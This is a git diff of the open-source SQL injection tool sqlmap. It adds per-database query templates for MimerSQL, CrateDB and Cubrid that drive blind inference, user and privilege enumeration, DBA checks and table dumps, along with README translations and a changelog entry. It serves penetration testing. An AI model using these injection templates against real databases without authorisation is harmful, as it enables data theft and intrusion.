<blind query="SELECT DISTINCT(USER_NAME) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" query2="SELECT DISTINCT(TABLE_NAME) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'" count="SELECT COUNT(DISTINCT(USER_NAME)) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'" condition="TABLE_NAME" condition2="USER_NAME"/>
|
||||||
|
</search_table>
|
||||||
|
<search_column>
|
||||||
|
<inband query="SELECT USER_NAME,TABLE_NAME FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" condition="COLUMN_NAME" condition2="USER_NAME" condition3="TABLE_NAME"/>
|
||||||
|
<blind query="SELECT DISTINCT(USER_NAME) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" query2="SELECT DISTINCT(TABLE_NAME) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'" count="SELECT COUNT(DISTINCT(USER_NAME)) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'" condition="COLUMN_NAME" condition2="USER_NAME" condition3="TABLE_NAME"/>
|
||||||
|
</search_column>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="MimerSQL">
|
||||||
|
<!-- NOTE: DBMS with stohastic output of rows (ORDER BY required) -->
|
||||||
|
<!-- NOTE: NVARCHAR(4000) causes problems in boolean (e.g. 'Required temporary table row length is 32006, only 32000 is possible') -->
|
||||||
|
<cast query="CAST(%s AS NVARCHAR(1000))"/>
|
||||||
|
<length query="CHAR_LENGTH(%s)"/>
|
||||||
|
<isnull query="COALESCE(%s,' ')"/>
|
||||||
|
<delimiter query="||"/>
|
||||||
|
<limit query="OFFSET %d FETCH %d"/>
|
||||||
|
<limitregexp query="\s+OFFSET\s+([\d]+)\s+FETCH\s+([\d]+)" query2="\s+FETCH\s+([\d]+)"/>
|
||||||
|
<limitgroupstart query="1"/>
|
||||||
|
<limitgroupstop query="2"/>
|
||||||
|
<limitstring query=" OFFSET "/>
|
||||||
|
<order query="ORDER BY %s ASC"/>
|
||||||
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query="--"/>
|
||||||
|
<substring query="SUBSTRING((%s),%d,%d)"/>
|
||||||
|
<concatenate query="%s||%s"/>
|
||||||
|
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||||
|
<inference query="UNICODE_CODE(SUBSTRING((%s),%d,1))>%d"/>
|
||||||
|
<banner query="SELECT attribute_value FROM SYSTEM.SERVER_INFO WHERE server_attribute='CATALOG_VERSION_CURRENT'"/>
|
||||||
|
<current_user query="USER()"/>
|
||||||
|
<current_db query="USER()"/>
|
||||||
|
<hostname/>
|
||||||
|
<table_comment/>
|
||||||
|
<column_comment/>
|
||||||
|
<is_dba query="(SELECT COUNT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE schema_owner=USER())>0"/>
|
||||||
|
<check_udf/>
|
||||||
|
<!-- Reference: https://download.mimer.com/pub/developer/docs/html_110/Mimer_SQL_Engine_DocSet/App_D_Dic_tables2.html -->
|
||||||
|
<users>
|
||||||
|
<inband query="SELECT user_name FROM SYSTEM.USERS"/>
|
||||||
|
<blind query="SELECT user_name FROM SYSTEM.USERS ORDER BY user_name OFFSET %d FETCH 1" count="SELECT COUNT(user_name) FROM SYSTEM.USERS"/>
|
||||||
|
</users>
|
||||||
|
<passwords/>
|
||||||
|
<privileges>
|
||||||
|
<inband query="SELECT DISTINCT user_name,privilege_type FROM SYSTEM.TABLE_PRIVILEGES JOIN SYSTEM.USERS ON SYSTEM.TABLE_PRIVILEGES.GRANTEE_SYSID=SYSTEM.USERS.USER_SYSID" condition="user_name"/>
|
||||||
|
<blind query="SELECT DISTINCT(privilege_type) FROM SYSTEM.TABLE_PRIVILEGES JOIN SYSTEM.USERS ON SYSTEM.TABLE_PRIVILEGES.GRANTEE_SYSID=SYSTEM.USERS.USER_SYSID WHERE user_name='%s' ORDER BY privilege_type OFFSET %d FETCH 1" count="SELECT COUNT(DISTINCT(privilege_type)) FROM SYSTEM.TABLE_PRIVILEGES JOIN SYSTEM.USERS ON SYSTEM.TABLE_PRIVILEGES.GRANTEE_SYSID=SYSTEM.USERS.USER_SYSID WHERE user_name='%s'"/>
|
||||||
|
</privileges>
|
||||||
|
<roles/>
|
||||||
|
<statements/>
|
||||||
|
<dbs>
|
||||||
|
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||||
|
<blind query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY schema_name OFFSET %d FETCH 1" count="SELECT COUNT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||||
|
</dbs>
|
||||||
|
<tables>
|
||||||
|
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
|
||||||
|
<blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' ORDER BY table_name OFFSET %d FETCH 1" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'"/>
|
||||||
|
</tables>
|
||||||
|
<columns>
|
||||||
|
<inband query="SELECT column_name,data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||||
|
<blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s' ORDER BY column_name" query2="SELECT data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||||
|
</columns>
|
||||||
|
<dump_table>
|
||||||
|
<inband query="SELECT %s FROM %s"/>
|
||||||
|
<blind query="SELECT %s FROM %s ORDER BY %s OFFSET %d FETCH 1" count="SELECT COUNT(*) FROM %s"/>
|
||||||
|
</dump_table>
|
||||||
|
<search_db>
|
||||||
|
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
|
||||||
|
<blind query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s ORDER BY schema_name" count="SELECT COUNT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
|
||||||
|
</search_db>
|
||||||
|
<search_table>
|
||||||
|
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/>
|
||||||
|
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s ORDER BY table_schema" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' ORDER BY table_name" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
|
||||||
|
</search_table>
|
||||||
|
<search_column>
|
||||||
|
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||||
|
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s ORDER BY table_schema" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' ORDER BY table_name" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||||
|
</search_column>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="CrateDB">
|
||||||
|
<cast query="CAST(%s AS TEXT)"/>
|
||||||
|
<length query="CHAR_LENGTH((%s)::text)"/>
|
||||||
|
<isnull query="COALESCE(%s,' ')"/>
|
||||||
|
<delimiter query="||"/>
|
||||||
|
<limit query="LIMIT %d OFFSET %d"/>
|
||||||
|
<limitregexp query="\s+LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||||
|
<limitgroupstart query="2"/>
|
||||||
|
<limitgroupstop query="1"/>
|
||||||
|
<limitstring query=" LIMIT "/>
|
||||||
|
<order query="ORDER BY %s ASC"/>
|
||||||
|
<count query="COUNT(%s)"/>
|
||||||
|
<!-- NOTE: non-; version(s) doesn't work properly -->
|
||||||
|
<comment query=";--" query2=";/*"/>
|
||||||
|
<substring query="SUBSTR((%s)::text,%d,%d)"/>
|
||||||
|
<concatenate query="%s||%s"/>
|
||||||
|
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||||
|
<!-- NOTE: ASCII() only available in >= 4.1 -->
|
||||||
|
<inference query="SUBSTR((%s)::text,%d,1)>'%c'" query2="ASCII(SUBSTR((%s)::text,%d,1))>%d"/>
|
||||||
|
<banner query="SELECT version['number'] FROM sys.nodes" query2="VERSION()"/>
|
||||||
|
<current_user query="CURRENT_USER"/>
|
||||||
|
<current_db query="CURRENT_SCHEMA()"/>
|
||||||
|
<hostname query="SELECT hostname FROM sys.nodes"/>
|
||||||
|
<!--<table_comment query="SELECT pg_catalog.obj_description(c.oid) FROM pg_catalog.pg_class c WHERE c.relname='%s'"/>-->
|
||||||
|
<table_comment query="SELECT description FROM pg_description JOIN pg_class ON pg_description.objoid=pg_class.oid JOIN pg_namespace ON pg_class.relnamespace=pg_namespace.oid WHERE nspname='%s' AND relname='%s'"/>
|
||||||
|
<column_comment/>
|
||||||
|
<is_dba query="(SELECT superuser=true FROM sys.users WHERE name=CURRENT_USER)"/>
|
||||||
|
<check_udf/>
|
||||||
|
<users>
|
||||||
|
<inband query="SELECT name FROM sys.users"/>
|
||||||
|
<blind query="SELECT name FROM sys.users LIMIT 1 OFFSET %d" count="SELECT COUNT(name) FROM sys.users"/>
|
||||||
|
</users>
|
||||||
|
<passwords/>
|
||||||
|
<privileges>
|
||||||
|
<inband query="SELECT grantee,type FROM sys.privileges" condition="grantee"/>
|
||||||
|
<blind query="SELECT DISTINCT(type) FROM sys.privileges WHERE grantee %s '%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(type)) FROM sys.privileges WHERE grantee %s '%s'"/>
|
||||||
|
</privileges>
|
||||||
|
<roles/>
|
||||||
|
<statements>
|
||||||
|
<inband query="SELECT stmt FROM sys.jobs"/>
|
||||||
|
<blind query="SELECT stmt FROM sys.jobs LIMIT 1 OFFSET %d" count="SELECT COUNT(stmt) FROM sys.jobs"/>
|
||||||
|
</statements>
|
||||||
|
<dbs>
|
||||||
|
<inband query="SELECT schema_name FROM information_schema.schemata"/>
|
||||||
|
<blind query="SELECT schema_name FROM information_schema.schemata ORDER BY schema_name LIMIT 1 OFFSET %d" count="SELECT COUNT(schema_name) FROM information_schema.schemata"/>
|
||||||
|
</dbs>
|
||||||
|
<tables>
|
||||||
|
<inband query="SELECT table_schema,table_name FROM information_schema.tables" condition="table_schema"/>
|
||||||
|
<blind query="SELECT table_name FROM information_schema.tables WHERE table_schema='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'"/>
|
||||||
|
</tables>
|
||||||
|
<columns>
|
||||||
|
<inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||||
|
<blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||||
|
</columns>
|
||||||
|
<dump_table>
|
||||||
|
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||||
|
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||||
|
</dump_table>
|
||||||
|
<search_db>
|
||||||
|
<inband query="SELECT schema_name FROM information_schema.schemata WHERE %s" condition="schema_name"/>
|
||||||
|
<blind query="SELECT schema_name FROM information_schema.schemata WHERE %s" count="SELECT COUNT(DISTINCT(schema_name)) FROM information_schema.schemata WHERE %s" condition="schema_name"/>
|
||||||
|
</search_db>
|
||||||
|
<search_table>
|
||||||
|
<inband query="SELECT table_schema,table_name FROM information_schema.tables WHERE %s" condition="table_name" condition2="table_schema"/>
|
||||||
|
<blind query="SELECT DISTINCT(table_schema) FROM information_schema.tables WHERE %s" query2="SELECT table_name FROM information_schema.tables WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM information_schema.tables WHERE %s" count2="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
|
||||||
|
</search_table>
|
||||||
|
<search_column>
|
||||||
|
<inband query="SELECT nspname,relname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
|
||||||
|
<blind query="SELECT DISTINCT(nspname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
|
||||||
|
</search_column>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Cubrid">
|
||||||
|
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||||
|
<length query="CHAR_LENGTH(%s)"/>
|
||||||
|
<isnull query="IFNULL(%s,' ')"/>
|
||||||
|
<delimiter query="||"/>
|
||||||
|
<limit query="LIMIT %d,%d"/>
|
||||||
|
<limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||||
|
<limitgroupstart query="1"/>
|
||||||
|
<limitgroupstop query="2"/>
|
||||||
|
<limitstring query=" LIMIT "/>
|
||||||
|
<order query="ORDER BY %s ASC"/>
|
||||||
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query="--" query2="/*" query3="//"/>
|
||||||
|
<substring query="MID((%s),%d,%d)"/>
|
||||||
|
<concatenate query="%s||%s"/>
|
||||||
|
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||||
|
<hex query="HEX(%s)"/>
|
||||||
|
<inference query="ASCII(MID((%s),%d,1))>%d"/>
|
||||||
|
<banner query="VERSION()"/>
|
||||||
|
<current_user query="CURRENT_USER"/>
|
||||||
|
<current_db query="CURRENT_USER"/>
|
||||||
|
<hostname/>
|
||||||
|
<table_comment query="SELECT comment FROM db_class WHERE owner_name='%s' AND class_name='%s'"/>
|
||||||
|
<column_comment query="SELECT db_attribute.comment FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s' AND db_class.class_name='%s' AND attr_name='%s'"/>
|
||||||
|
<is_dba query="CURRENT_USER='DBA'"/>
|
||||||
|
<check_udf query="(SELECT meth_name FROM db_method WHERE meth_name='%s' LIMIT 0,1)='%s'"/>
|
||||||
|
<users>
|
||||||
|
<inband query="SELECT name FROM db_user"/>
|
||||||
|
<blind query="SELECT name FROM db_user LIMIT %d,1" count="SELECT COUNT(name) FROM db_user"/>
|
||||||
|
</users>
|
||||||
|
<passwords/>
|
||||||
|
<privileges>
|
||||||
|
<inband query="SELECT grantee_name,auth_type FROM db_auth" condition="grantee_name"/>
|
||||||
|
<blind query="SELECT DISTINCT(auth_type) FROM db_auth WHERE grantee_name='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(auth_type)) FROM db_auth WHERE grantee_name='%s'"/>
|
||||||
|
</privileges>
|
||||||
|
<roles/>
|
||||||
|
<statements/>
|
||||||
|
<dbs>
|
||||||
|
<inband query="SELECT owner_name FROM db_class"/>
|
||||||
|
<blind query="SELECT DISTINCT(owner_name) FROM db_class LIMIT %d,1" count="SELECT COUNT(DISTINCT(owner_name)) FROM db_class"/>
|
||||||
|
</dbs>
|
||||||
|
<tables>
|
||||||
|
<inband query="SELECT owner_name,class_name FROM db_class" condition="owner_name"/>
|
||||||
|
<blind query="SELECT class_name FROM db_class WHERE owner_name='%s' LIMIT %d,1" count="SELECT COUNT(class_name) FROM db_class WHERE owner_name='%s'"/>
|
||||||
|
</tables>
|
||||||
|
<columns>
|
||||||
|
<inband query="SELECT attr_name,data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" condition="attr_name"/>
|
||||||
|
<blind query="SELECT attr_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" query2="SELECT data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" count="SELECT COUNT(attr_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" condition="attr_name"/>
|
||||||
|
</columns>
|
||||||
|
<dump_table>
|
||||||
|
<inband query="SELECT %s FROM %s.%s"/>
|
||||||
|
<blind query="SELECT %s FROM %s.%s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||||
|
</dump_table>
|
||||||
|
<search_db>
|
||||||
|
<inband query="SELECT name FROM db_user WHERE %s" condition="name"/>
|
||||||
|
<blind query="SELECT name FROM db_user WHERE %s" count="SELECT COUNT(name) FROM db_user WHERE %s" condition="name"/>
|
||||||
|
</search_db>
|
||||||
|
<search_table>
|
||||||
|
<inband query="SELECT owner_name,class_name FROM db_class WHERE %s" condition="class_name" condition2="owner_name"/>
|
||||||
|
<blind query="SELECT DISTINCT(owner_name) FROM db_class WHERE %s" query2="SELECT DISTINCT(class_name) FROM db_class WHERE owner_name='%s'" count="SELECT COUNT(DISTINCT(owner_name)) FROM db_class WHERE %s" count2="SELECT COUNT(DISTINCT(class_name)) FROM db_class WHERE owner_name='%s'" condition="class_name" condition2="owner_name"/>
|
||||||
|
</search_table>
|
||||||
|
<search_column>
|
||||||
|
<inband query="SELECT owner_name,db_class.class_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" condition="attr_name" condition2="owner_name" condition3="db_class.class_name"/>
|
||||||
|
<blind query="SELECT DISTINCT(owner_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" query2="SELECT DISTINCT(db_class.class_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s'" count="SELECT COUNT(DISTINCT(owner_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" count2="SELECT COUNT(DISTINCT(db_class.class_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s'" condition="attr_name" condition2="owner_name" condition3="db_class.class_name"/>
|
||||||
|
</search_column>
|
||||||
|
</dbms>
|
||||||
</root>
|
</root>
|
||||||
|
|
|
@ -1,3 +1,8 @@
|
||||||
|
# Version 1.4 (2020-01-01)
|
||||||
|
|
||||||
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/5?closed=1)
|
||||||
|
|
||||||
# Version 1.3 (2019-01-05)
|
# Version 1.3 (2019-01-05)
|
||||||
|
|
||||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
|
||||||
|
|
84
doc/translations/README-fa-IR.md
Normal file
84
doc/translations/README-fa-IR.md
Normal file
|
@ -0,0 +1,84 @@
|
||||||
|
# sqlmap 
|
||||||
|
|
||||||
|
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||||
|
|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
برنامه `sqlmap`، برنامهی منبع باز هست که برای تست نفوذ پذیزی دربرابر حملههای احتمالی `sql injection` (جلوگیری از لو رفتن پایگاه داده) جلو گیری میکند. این برنامه مجهز به مکانیزیم تشخیص قدرتمندی میباشد. همچنین داری طیف گستردهای از اسکریپت ها میباشد که برای متخصص تست نفوذ کار کردن با بانک اطلاعاتی را راحتر میکند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق `via out-of-band` درسیستم عامل را امکان پذیر میکند.
|
||||||
|
|
||||||
|
|
||||||
|
عکس
|
||||||
|
----
|
||||||
|
|
||||||
|
|
||||||
|
<div dir=ltr>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
برای دیدن کردن از [مجموعهی از اسکریپتها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) میتوانید از ویکی دیدن کنید.
|
||||||
|
|
||||||
|
|
||||||
|
نصب
|
||||||
|
----
|
||||||
|
|
||||||
|
برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید.
|
||||||
|
|
||||||
|
|
||||||
|
طرز استفاده
|
||||||
|
----
|
||||||
|
|
||||||
|
|
||||||
|
برای گرفتن لیست ارگومانهای اساسی میتوانید از دستور زیر استفاده کنید:
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<div dir=ltr>
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
python sqlmap.py -h
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
|
||||||
|
برای گرفتن لیست تمامی ارگومانهای میتوانید از دستور زیر استفاده کنید:
|
||||||
|
|
||||||
|
<div dir=ltr>
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
python sqlmap.py -hh
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
|
||||||
|
برای اطلاعات بیشتر برای اجرا از [اینجا](https://asciinema.org/a/46601) میتوانید استفاده کنید. برای گرفتن اطلاعات بیشتر توسعه میشود به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید.
|
||||||
|
|
||||||
|
|
||||||
|
لینکها
|
||||||
|
----
|
||||||
|
|
||||||
|
|
||||||
|
* خانه: http://sqlmap.org
|
||||||
|
* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
|
* کایمت و نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
|
* پیگری مشکلات: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
|
* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
|
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
|
* تویتر: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
|
* رسانه: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
||||||
|
* عکسها: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||||
|
|
||||||
sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
|
sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
|
||||||
|
|
||||||
Imagens
|
Imagens
|
||||||
----
|
----
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
